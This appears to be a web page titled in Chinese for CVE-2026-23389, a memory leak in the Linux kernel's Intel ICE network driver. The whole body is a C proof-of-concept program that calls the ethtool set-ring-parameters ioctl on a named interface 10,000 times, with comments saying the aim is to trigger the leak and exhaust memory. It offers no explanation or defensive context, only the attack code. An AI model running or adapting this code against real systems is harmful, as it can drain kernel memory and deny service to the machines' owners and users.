CVE-2026-23389: Linux内核内存泄漏漏洞

/* * PoC for CVE-2026-23389 (Memory Leak in ice_set_ringparam) * This code attempts to trigger the memory leak by repeatedly * setting ring parameters on an Intel ICE interface. * Compile: gcc -o poc_leak poc_leak.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/sockios.h> #include <linux/ethtool.h> int main(int argc, char *argv[]) { struct ifreq ifr; struct ethtool_ringparam ringparam; int fd, err; if (argc < 2) { printf("Usage: %s <interface_name>\n", argv[0]); return 1; } fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return 1; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, argv[1], IFNAMSIZ - 1); memset(&ringparam, 0, sizeof(ringparam)); ringparam.cmd = ETHTOOL_SRINGPARAM; // Set values to force driver to re-allocate rings ringparam.rx_pending = 4096; ringparam.tx_pending = 4096; ifr.ifr_data = (char *)&ringparam; printf("Triggering memory leak on %s...\n", argv[1]); // Loop to exhaust memory or observe leak in kernel logs/slub for (int i = 0; i < 10000; i++) { err = ioctl(fd, SIOCETHTOOL, &ifr); if (err < 0) { // Error path triggers the leak logic perror("ioctl"); } usleep(1000); } close(fd); return 0; }